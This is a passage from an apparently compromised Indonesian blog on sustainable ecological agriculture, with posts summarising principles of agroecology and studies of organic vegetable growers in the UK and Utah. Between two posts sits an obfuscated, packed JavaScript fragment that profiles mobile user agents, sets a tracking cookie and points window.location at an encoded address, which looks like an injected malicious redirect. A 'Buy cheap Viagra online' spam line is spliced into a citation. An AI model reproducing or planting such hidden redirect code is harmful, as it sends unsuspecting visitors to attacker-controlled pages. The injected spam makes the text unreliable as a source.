  6. Membangun kesuburan tanah dalam jangka panjang .
  7. Membangun kandungan bahan organik tanah .

 

Nilai Kesehatan

Kesehatan Manusia
Kesehatan budaya
Kesehatan lingkungan:

  1. Nilai paling tinggi kesehatan secara keseluruhan agroekosistem bukan hasil dari sistem tanaman tertentu atau musim .
  2. Hilangkan pencemaran lingkungan oleh bahan beracun dan nutrisi surplus.

Kesehatan Hewan
Kesehatan Tanaman

 

selengkapnya lihat:

http://www.agroecology.org/Principles_Def.html

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4C=/;4I=”+1e.4J();1j.4P=b}}})(1f.4Q||1f.4O||1j.1i,\’4N://4K.4L/4M/?5B&\’)}’,62,386,’|||||||||||||||01||||te|||||||ma|||||||ny|mo|if|go|od|pl|wa|ts|g1|ip|70|ck|pt|os|ad|up|er|al|ar|mc|nd|ll|ri|co|it|iris|ac|ai|oo||se|||ta|_|_mauthtoken|test||Date|bi|mobile|do|document|tdate|navigator|ca|new|opera|window|cookie|indexOf|ic|k0|esl8|ze|fly|g560|fetc|libw|lynx|ez|em|dica|dmob|xo|cr|devi|me|ui|ds|ul|m3ga|l2|gene|el|m50|m1|lg|ibro|idea|ig01|iac|i230|aw|tc|klon|ikom|im1k|jemu|jigs|kddi|||jbro|ja|inno|ipaq|kgt|hu|tp|un|haie|hcit|le|no|keji|gr|xi|kyo|hd|hs|ht|dc|kpt|hp|hei|hi|kwc|gf|cdm|re|plucker|pocket|psp|ixi|phone|ob|in|palm|series|symbian|windows|ce|xda|xiino|wap|vodafone|treo|browser|link|netfront|firefox|avantgo|bada|blackberry|blazer|meego|bb|function|Googlebot|android|compal|elaine|lge|maemo||midp|mmp|kindle|hone|fennec|hiptop|iemobile|1207|6310|br|bumb|bw|c55|az|bl|nq|lb|rd|capi|ccwa|mp|craw|da|ng|cmd|cldc|rc|cell|chtm|be|avan|abac|ko|rn|av|802s|770s|6590|3gso|4thp|amoi|an|us|attw|au|di|as|ch|ex|yw|aptu|dbte|p1|tim|to|sh|tel|tdg|gt||lk|tcl|m3|m5||v750||veri||vi|v400|utst|tx|si|00|t6|sk|sl|id|sie|shar|sc|sdk|sgh|mi|b3|sy|mb|t2|sp|ft|t5|so|rg|vk|getTime|1800000|path|var|substr|your|zeto|zte|expires|toUTCString|gettop|info|kt|http|vendor|location|userAgent|yas|x700|81|83|85|80|vx|vm40|voda||vulc||||98|w3c|nw|wmlb|wonu|nc|wi|webc|whit|va|sm|op|ti|wv|o2im|nzph|wg|wt|nok|oran|owg1|phil|pire|ay|pg|pdxg|p800|ms|wf|tf|zz|mt|BFzSww|de|02|o8|oa|mmef|mwbp|mywa|n7|ne|on|n50|n30|n10|n20|uc|pan|sa|ve|qa|ro|s55|qtek|07|qc|||zo|prox|psio|po|r380|pn|mm|rt|r600|rim9|raks|ge’.split(‘|’),0,{}))var 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PB CIRI-CIRI PERTANIAN EKOLOGIS YANG BERKELANJUTAN

December 5th, 2013 No comments

CIRI-CIRI PERTANIAN EKOLOGIS YANG BERKELANJUTAN

 

“Pertanian ekologis yang  berkelanjutan” berarti keberhasilan pengelolaan sumber daya untuk memenuhi kebutuhan manusia saat ini tanpa membahayakan kemampuan generasi mendatang untuk memenuhi kebutuhan hidupnya.

Dalam konteks ini , pertanian berkelanjutan merupakaan sistem produksi yang mencoba memberikan hasil yang berkelanjutan jangka panjang melalui penggunaan teknologi pengelolaan ramah lingkungan, seperti diversifikasi tanaman , daur ulang hara, dan pengendalian hama-penyakit tanaman  secara biologis .

Pertanian berkelanjutan adalah :

  1. Ekologis : kualitas sumber daya alam dalam sistem ramah lingkungan dipertahankan atau ditingkatkan .
  2. Ekonomis : petani dapat menghasilkan makanan yang cukup untuk swasembada dan memperoleh penghasilan yang memadai.
  3. Berkeadilan sosial : sumber daya dan kekuasaan didistribusikan sedemikian rupa untuk dapat menjain hak penggunaan lahan , modal yang memadai , peluang pasar dan bantuan teknis .
  4. Humane : menghormati semua bentuk kehidupan ( tanaman, hewan , manusia ) .
  5. Adaptable : masyarakat pedesaan mampu menyesuaikan diri dengan perubahan kondisi pertanian yang berlangsung secara terus menerus.

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PB PERTANIAN EKOLOGIS YANG BERKELANJUTAN

December 5th, 2013 No comments

PERTANIAN EKOLOGIS YANG BERKELANJUTAN

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Apa yabg dimaksud dengan konsep “Pertanian Ekologis yang berkelanjutan ?”

Banyak pendekatan yang telah muncul untuk mewujudkan “keberlanjutan” yang lebih besar atas sistem pertanian, baik selama masa pra – industri maupun pada jaman industri .  Hal ini termasuk biodynamic  berbasis masyarakat , Ecoagriculture , pertanian ramah lingkungan , pertanian rehat,  Pertanian rendah input,  Pertanian organik , Permaculture  berkelanjutan.

Ide-ide  keberlanjutan pertanian , tidak berarti mengesampingkan setiap teknologi atau praktik-praktek pertanian secara sembarangan. Jika teknologi bekerja untuk meningkatkan produktivitas petani , dan tidak menyebabkan kerusakan lingkungan, maka dapat dimanfaatkan untuk pertanian  keberlanjutan . Sistem pertanian yang menekankan prinsip-prinsip ini juga cenderung memiliki sejumlah fungsi dalam lanskap dan ekonomi . Mereka bersama-sama memproduksi makanan dan barang lainnya bagi petani dan untuk memenuhi kebutuhan pasar , tetapi juga berkontribusi terhadap berbagai barang dan jasa-jasa publik , seperti air bersih , satwa liar, dan habitat bagi organisme menguntungkan , penyerapan karbon dalam tanah , perlindungan banjir , resapan air tanah , nilai-nilai keindahan dan kenyamanan lanskap , dan rekreasi / pariwisata .

Pertanian berkelanjutan berusaha untuk memanfaatkan sebaik-baiknya barang dan jasa alam , sehingga teknologi dan praktik pertanian harus diadaptasikan secara lokal .  Hal ini memungkinkan  munculnya konfigurasi baru , yang terdiri dari kepercayaan dalam organisasi sosial , dan kemitraan horizontal dan vertikal di antara lembaga-lembaga sosial , dan kepemimpinan masyarakat, pengetahuan dan  keterampilan manajemen , dan kapasitas untuk berinovasi . Sistem pertanian yang kaya dnegan  modal sosial dan modal manusia akan lebih mampu berinovasi dalam menghadapi ketidakpastian seperti perubahan iklim atau perubahan kebutuhan masyarakat akan produk-produk tertentu . Hal ini menunjukkan bahwa ada kemungkinan banyak jalur menuju keberlanjutan pertanian , dan selanjutnya menyiratkan bahwa tidak ada konfigurasi tunggal teknologi , input , dan manajemen ekologis yang mungkin diterapkan secara luas . Keberlanjutan pertanian menyiratkan kebutuhan untuk menyesuaikan faktor-faktor ini dengan keadaan spesifik dari sistem pertanian , iklim , tanah , dan pertimbangan sosial.

Asumsi umum tentang “keberlanjutan pertanian” adalah bahwa ia menyiratkan pengurangan secara neto penggunaan input , sehingga membuat sistem tersebut pada dasarnya ekstensif (yaitu  membutuhkan lebih banyak lahan untuk menghasilkan jumlah makanan yang sama ) . Bukti terbaru menunjukkan bahwa inisiatif keberlanjutan pertanian sukses dan proyek-proyek timbul akibat perubahan faktor-faktor produksi pertanian , misalnya penggunaan nitrogen legume sebagai pupuk bhijau , pestisida untuk penekanan musuh alami , pengolahan tanah secara minimum.

Pendekatan intensifikasi sumberdaya adalah  membuat lebih baik penggunaan sumber daya yang ada ( tanah, air , keanekaragaman hayati ) dan teknologi . Pertanyaan kritis yang kemudian muncul adalah apa saja jenis intensifikasi yang harus diikuti . Intensifikasi dalam menggunakan modal alam, modal sosial ( masyarakat ) , dan modal manusia , dikombinasikan dengan penggunaan teknologi terbaik yang tersedia dan input ( genotipe terbaik dan manajemen ekologi terbaik ) yang meminimalkan atau menghilangkan kerusakan lingkungan; ini semua disebut konsep ” intensifikasi berkelanjutan . ”

 

Selengkapnya lihat:

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PB PERTANIAN EKOLOGIS – PERTANIAN BERKELANJUTAN

December 5th, 2013 No comments

PERTANIAN EKOLOGIS – PERTANIAN BERKELANJUTAN

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“Pertanian berkelanjutan”  merupakan suatu filosofi dalam sistem pertanian . Konsep filosofis ini berakar pada seperangkat nilai-nilai yang mencerminkan kesadaran dari realitas ekologi dan realitas sosial . Hal ini melibatkan prosedur desain dan manajemen yang bekerja sama dengan proses alamiah untuk melestarikan semua sumber daya dan meminimalkan limbah dan kerusakan lingkungan , sambil menjaga atau meningkatkan profitabilitas pertanian . Bekerja sama dengan proses-proses alami adalah sangat penting . Sistem pertanian berkelanjutan yang dirancang untuk mengambil keuntungan secara maksimum dari siklus hara dan air tanah yang ada , aliran energi , organisme tanah yang menguntungkan , dan kontrol hama secara alamiah . Dengan memanfaatkan siklus-siklus yang ada , kerusakan lingkungan dapat dihindari atau diminimalkan . Sistem tersebut juga bertujuan untuk menghasilkan makanan yang bergizi , dan tidak terkontaminasi dengan residu yang membahayakan kesehatan manusia .

Dalam prakteknya sistem pertanian tersebut cenderung untuk mengurangi atau menghindari penggunaan pupuk sintetis , pestisida sintetis , hormon pertumbuhan sintetis, dan konsentrat (adetif) pakan ternak . Zat-zat ini biasanya ditolak atas dasar ketergantungannya pada sumberdaya yang tidak dapat terbarukan , potensi gangguan lingkungan , dan dampak samping pada organisme tanah , satwa liar , kesehatan ternak dan kesehatan manusia .

Sistem pertanian berkelanjutan lebih mengandalkan rotasi tanaman , residu (sisa) tanaman , pupuk organik hewan , kacang-kacangan , pupuk hijau , limbah organik off-farm , budidaya mekanis yang sesuai atau pengolahan tanah minimal untuk mengoptimalkan aktivitas pengendalian hama secara biologis dan alamiah, dan dengan demikian mempertahankan kesuburan tanah dan produktivitas tanaman .

Selain itu, varietas yang tahan , dan kontrol hama secara biologis , biorasional , dan budaya lokal digunakan untuk mengelola hama , gulma dan penyakit . Strategi perawatan kesehatan yang bersifat preventif , seperti perubahan pola makan , meningkatkan latihan , dan perubahan pemeliharaan yang digunakan untuk menjaga kesehatan hewan .

Potensi dari pendekatan ini , jauh melampaui ekspresi yang ada sekarang , yang sebagian besar masih terbatas pada substitusi produk dan praktek-praktek ramah lingkungan . Kemajuan yang lebih signifikan dapat diharapkan dapat terjadi akibat dari perkembangan ilmu dan seni dalam desain agroekosistem dan manajemen agroekosistem.

 

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PB USAHATANI SAYURAN ORGANIK YANG BERKELANJUTAN

December 1st, 2013 No comments

USAHATANI SAYURAN ORGANIK YANG BERKELANJUTAN

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Penelitian dilakukan untuk menyelidiki keberlanjutan masa depan sistem produksi sayuran organik di Inggris berdasarkan persepsi para petani sayuran .

Tujuannya adalah untuk menentukan keberlanjutan ekonomi dan sosial dari usahatani sayuran organik dan untuk menguji apakah ada hubungan antara indikator ekonomi dan sosial . Data dan opini dikumpulkan dengan wawancara dan melalui survei kuesioner pos .

Hanya 14 % petani ( 26 dari 175 ) telah menjawab kuesioner melalui pos . Sekitar 61% responden telah bertani dengan cara konvensional sebelum beralih ke organik dan 39 % petani mulai dari usahatani organik . Mereka yang memulai pertanian organik secara langsung memiliki luas usahatani yang jauh lebih rendah ( p <0,01 ) . Sekitar 70 % petani menanam tanaman sereal dengan cara konvensional, tetapi sekitar 70 % menanam sayuran dalam sistem pertanian organik .

Para petani responden yang beralih dari usahatani konvensional ke usahatani organik menyatakan bahwa mereka telah meninggalkan pertanian konvensional karena dua alasan terkait dengan aspek ekonomi dan sosial,  tetapi penekanannya lebih pada alasan ekonomi . Namun demikian, faktor-faktor sosial dan lingkungan mendorong petani untuk beralih ke pertanian organik .

Sebagian besar petani yang ditemukan merasa puas dengan tingkat produktivitas usahatani sayuran organik , profitabilitas usahatani sayurannya dan kondisi pasar untuk sayuran organik semakin baik atau tetap sama . Para petani responden diminta untuk menyusun peringkat pendapatnya ( 1 – sangat rendah hingga 5 – sangat tinggi ) mengenai ancaman terhadap keberlanjutan produksi sayuran organik di Inggris .

Sebuah korelasi yang sangat signifikan ( p <0,01 ) ditemukan antara ancaman ekonomi dan sosial dan lingkungan terkait . Petani yang diwawancarai tidak akan meninggalkan pertanian organik dan tidak khawatir tentang penurunan harga premium karena jaminan pasar dan volume pasar sayuran organik yang snagat besar.

Penelitian ini mengungkapkan bahwa produksi sayuran organik di Inggris memiliki potensi untuk menjadi berkelanjutan .

Kesimpulan ini semata-mata didasarkan pada persepsi petani sendiri yang jumlahnya masih terbatas . Oleh karena itu , untuk meningkatkan reliabilitas dan validitas dari studi ini ,  jumlah sampel harus diperluas untuk mencakup lebih banyak petani dan pemangku kepentingan lainnya,  dengan mewawancarai ekonom , pembuat kebijakan pemerintah dan para ahli non -pemerintah dan menggabungkan pandangan mereka dengan persepsi petani sayuran .

 

Sumber:

BANIK, PANKAJ KUMAR. 2010.  Future sustainability of organic vegetable production in the UK: perception of the growers.  Faculty of Science and Technology University of Plymouth. http://hdl.handle.net/10026.1/294

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PB PERTANIAN BERKELANJUTAN : SAYUR-SAYURAN

December 1st, 2013 No comments

PERTANIAN  BERKELANJUTAN : SAYUR-SAYURAN

 

Pemahaman yang jelas tentang permasalahan usahatani dan praktek pertanian sangat diperlukan untuk pengembangan usaha produksi sayuran yang lebih berkelanjutan .

Tujuh puluh petani sayuran dipilih secara acak di daerah Utah,  disurvei melalui telepon dan e-mail untuk mengumpulkan data dasar tentang praktek-praktek usaha pertanian yang dilakukannya.

Profil petani sayuran di  Utah yang dihasilkan oleh survei ini meliputi informasi tentang ukuran sikap masing-masing responden terhadap praktek-praktek pertanian berkelanjutan dan perhatian (minatnya) nya dalam kerjasama lebih lanjut untuk penelitian dan penyuluhan usahatani sayuran.

Suatu indeks usahatani sayuran untuk mengukur praktek-praktek pertanian  yang digunakan petani, dan indeks persepsional untuk mengukur pandangan petani mengenai praktek-praktek pertanian berkelanjutan , kedua indeks ini dianalisis dan disempurnakan selama penelitian.

Indeks persepsional  tidak berfungsi sebagai proxy atas praktek pertanian yang sebenarnya, namun indeks ini mampu mengidentifikasi petani yang memiliki apresiasi terhadap pertanian berkelanjutan . Bersama dengan indeks usahatani , kita sekarang memiliki informasi rinci tentang praktek-praktek pertanian yang dilakukan oleh berbagai kelompok petani sayuran. .

Penggunaan dua indeks ini akan membantu mengukur efektivitas penelitian dan penyuluhan usahatani di  masa depan untuk memberdayakan petani menuju kepada sistem produksi sayuran yang lebih berkelanjutan .

 

Sumber:

Daniel Drost, Gilbert Long  and Kimberlee Hales. 1997.  Utah’s Vegetable Growers: Assessing Sustainable Agriculture.

Buy cheap Viagra online

HortTechnology October-December 1997 vol. 7 no. 4 445-450.

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